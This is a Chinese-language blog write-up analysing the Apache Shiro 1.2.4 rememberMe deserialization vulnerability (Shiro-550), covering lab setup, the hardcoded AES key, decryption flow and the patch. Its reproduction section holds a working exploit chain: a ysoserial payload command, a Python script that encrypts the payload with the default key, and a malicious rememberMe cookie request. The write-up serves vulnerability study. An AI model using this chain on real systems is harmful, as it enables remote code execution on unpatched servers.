本文章视频讲解链接:
1、Shiro产品了解
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
详细参考:https://shiro.apache.org/
基本特点如下:
-
Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份;
-
Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限,即判断用户是否能做事情;
-
Session Management:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中,会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
-
Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
-
Web Support:Web 支持,可以非常容易的集成到 Web 环境;
-
Caching:缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
-
Concurrency:Shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
-
Testing:提供测试支持;
-
Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
-
Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了。
2、环境搭建
2.1 下载源码
获取 1.2.4 版本的Shiro源码:
下载地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
2.2 项目了解
项目根目录文件:
进入samples文件夹:
2.3 启动项目
1、将 shiro/samples/web 导入IDE,修改pom文件内容
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
2、打包、启动
3、访问项目
登录成功:
3、Shiro-550反序列漏洞
3.1 漏洞说明
在response包中返回含有remenberMe的字段:
RememberMe功能说明:
(1)shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro会对用户传入的cookie进行解密并进行反序列化。服务端接收rememberMe的cookie值后的操作是:
Base64解码 --> 使用密钥进行AES解密 --> 反序列化
(2)由于该版本AES加密的密钥Key被硬编码在代码里(漏洞能够被利用的本质),且大部分项目未修改默认AES密钥,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段值发送,Shiro将数据进行解密并且反序列化,最终触发反序列化漏洞。
(3)处理Cookie的类是CookieRememberMeManaer,该类继承AbstractRememberMeManager类,跟进AbstractRememberMeManager类,很容易看到AES的key。key所在类 org.apache.shiro.mgt.AbstractRememberMeManager 看到 kPH+bIxk5D2deZiIxcaaaA== 的key内容。
3.2 漏洞复现
(1)入口
入口点在rememberMe的cookie字段处,勾选RememberMe:
看到Cookie中有rememberMe字段:
(2)生成序列化数据
使用ysoserial反序列化工具:https://github.com/frohoff/ysoserial
工具使用方法:
项目使用cc4链:
根据项目cc4链使用工具参数,生成反序列化恶意文件:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" > evil.txt
(3)编写加密脚本
#!/usr/bin/python3
# -*- coding:utf-8-*-
from _ast import Lambda
from Crypto.Cipher import AES
import uuid,base64
#项目AES硬编码密钥
key = "kPH+bIxk5D2deZiIxcaaaA=="
f=open("evil.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
payload = str(base64_ciphertext, encoding='utf-8')
fo = open("poc.txt","w")
fo.write(payload)
生成攻击poc:
python 加密.py
(4)触发漏洞
将生成的poc内容作为Cookie中的rememberMe字段值,触发漏洞。
POST /login.jsp HTTP/1.1
Host: 172.20.10.4:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://172.20.10.4:8090
Connection: close
Referer: http://172.20.10.4:8090/login.jsp
Cookie: JSESSIONID=537D6AB37563E6751A0ABC948D969880;rememberMe=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
Upgrade-Insecure-Requests: 1
username=34eqt&password=ewardf&rememberMe=on&submit=Login
3.3 Shiro AES加解密流程
3.3.1 AES加密简介
-
AES加密有AES-128(默认)、AES-192、AES-256三种,分别对应三种密钥长度128bits(16字节)、192bits(24字节)、256bits(32字节)。
-
AES加密属于分组密码算法,常见的分组加密模式有:ECB、CBC、CFB、OFB。AES算法在对明文加密的时候,并不是把整个明文一股脑的加密成一整段密文,而是把明文拆分成一个个独立的明文块,每一个明文块长度128bit,叫做块大小(BlockSize),也就是说,每个分组为16个字节(每个字节8位)。
-
这些明文块经过AES加密器复杂处理,生成一个个独立的密文块,这些密文块拼接在一起,就是最终的AES加密的结果。
填充方式如下:
假如一段明文长度是196bit,如果按每128bit一个明文块来拆分的话,第二个明文块只有64bit,不足128bit,这就需要对明文块进行填充(Padding)。几种典型的填充方式:
-
NoPadding:不做任何填充,但是要求明文必须是16字节的整数倍。
-
PKCS5Padding(默认):缺几个字节就填几个缺的字节数,限定块大小(blocksize)为8字节。
| DD DD DD DD DD DD DD DD | DD DD DD DD 04 04 04 04 |
-
PKCS7Padding:原理与PKCS5Padding相似,区别是PKCS5Padding的blocksize为8字节,而PKCS7Padding的blocksize可以为1到255字节。
采用AES算法,其块大小最小是16字节,而pkcs5只能用于8字节,所以对于AES算法来说使用PKCS5Padding和PKCS7Padding是完全一样的。
3.3.2 Shiro加密过程
勾选RememberMe进行登录,shiro会通过登入的用户信息生成cookie并发送到客户端存储,下次再次访问时无需登入。
(1)加密过程 – 部分方法
org.apache.shiro.mgt.DefaultSecurityManager#login
org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity
org.apache.shiro.web.servlet.SimpleCookie#removeFrom
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity
org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes
serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt)
--> serialize:48, DefaultSerializer (org.apache.shiro.io)
org.apache.shiro.mgt.AbstractRememberMeManager#encryt
-->org.apache.shiro.crypto.JcaCipherService#encrypt
org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity
(2)加密过程 – login
进入 org.apache.shiro.mgt.DefaultSecurityManager#login,其中authenticate(token)方法根据token判断是否登入成功,此时rememberMe=true,首次认证登入后,会生成cookie。
进入 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数。
其中 org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity 函数的作用是清除之前cookie中的rememberMe字段的值。
(3)加密过程 – 设置rememberMe=deleteMe
接着进入 org.apache.shiro.web.servlet.SimpleCookie#removeFrom 方法,其中的addCookieHeader方法帮助添加响应包字段,首次登录会设置rememberMe=deleteMe,Max-Age=0,来删除此cookie。
到 org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 函数,判断token中rememberMe,因为是true,所以进入rememberIdentity函数。
接着进入 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法,其中convertPrincipalsToBytes方法会将登入的用户主体序列化并进行AES加密后输出。
(4)加密过程 – 序列化
跟进 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法,其中serialize()方法将接收的数据序列化。
看到 serialize:503, AbstractRememberMeManager (org.apache.shiro.mgt) 和 serialize:48, DefaultSerializer (org.apache.shiro.io) 熟悉的writeObject方法,并将序列化后的数据流返回。
(5)加密过程 – AES加密
回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法,跟进encryt函数,会将获得的序列化数据进行AES加密。
进入 org.apache.shiro.mgt.AbstractRememberMeManager#encryt 方法,其中getCipherService()返回AES加密对象,看到使用的算法为 AES,加密模式为 CBC,填充方式为PKCS5Padding,即为 AES/CBC/PKCS5Padding 值。
其中 getEncryptionCipherKey() 用于获取加密密钥,返回的是Shiro默认硬编码的key,即为 kPH+bIxk5D2deZiIxcaaaA==
将key代入 org.apache.shiro.crypto.JcaCipherService#encrypt 方法加密,其中使用generateInitializationVector 初始化生成一个iv向量,并继续携带这些数据(key、iv、明文数据)进行加密。
最终将加密后的bytes数据回传给 org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes 方法中的bytes变量。
回到 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity 方法,此时已经拿到加密后的数据,接着跟进rememberSerializedIdentity方法。
(6)加密过程 – base64编码
跟进 org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity 方法,要对序列化的字节数组serialized进行base64编码,然后返回到cookie中。
至此,cookie生成过程结束,将cookie返回到客户端。
3.3.3 Shiro解密过程
此时已经是登录状态了,携带协商好的cookie再次发起请求,观察系统解析cookie的流程。
(1)解密过程 – 部分方法
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
org.apache.shiro.web.servlet.SimpleCookie#readValue
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
org.apache.shiro.crypto.JcaCipherService#decrypt
org.apache.shiro.io.DefaultSerializer#deserialize
java.io.ObjectInputStream#readObject
进入 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法获取客户端数据,跟进getRememberedSerializedIdentity方法。
(2)解密过程 – 读取cookie
进入 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法,其中的getCookie().readValue()方法从请求中读取cookie。
跟进 org.apache.shiro.web.servlet.SimpleCookie#readValue 方法,读取cookie中rememberme字段值。
(3)解密过程 – base64解码
回到 org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity 方法,使用Base64.decode()方法对接收到的数据进行base64解码,输出byte数据。
回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法,跟进convertBytesToPrincipals方法。
(4)解密过程 – AES解密
进入 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,其中decrypt()方法要对数据进行解密。
跟进 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt 方法,跟加密时流程很像,其中getCipherService()用来返回AES对象,看到使用的算法为AES,加密模式为 CBC,填充方式为PKCS5Padding,即 AES/CBC/PKCS5Padding,跟加密时生成的对象是一样。这里的getEncryptionCipherKey()用途一样,获取Shiro默认硬编码的key信息。
跟进 org.apache.shiro.crypto.JcaCipherService#decrypt 方法,iv向量的长度为16字节(128比特),则截取出base64解码后的的字节数组中的前16个字节作为iv向量,进一步解密。
(5)解密过程 – 反序列化
最终解密后返回到 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,进行反序列化,进入deserialize()方法。
跟进 org.apache.shiro.io.DefaultSerializer#deserialize 方法,最终使用 java.io.ObjectInputStream#readObject 方法完成反序列化。
反序列化完毕后,回到 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法,principals=root,到此,cookie认证成功。
3.4 补丁分析
这个漏洞的关键点在于AES解密的密钥,攻击者需要知道密钥才能构造恶意的序列化数据。所以官方针对这个漏洞的修复方案是将默认硬编码的Key改为随机生成的Key来进行加密。
参考链接:https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848
原文始发于微信公众号(ZackSecurity):【Java框架审计】Shiro框架550反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论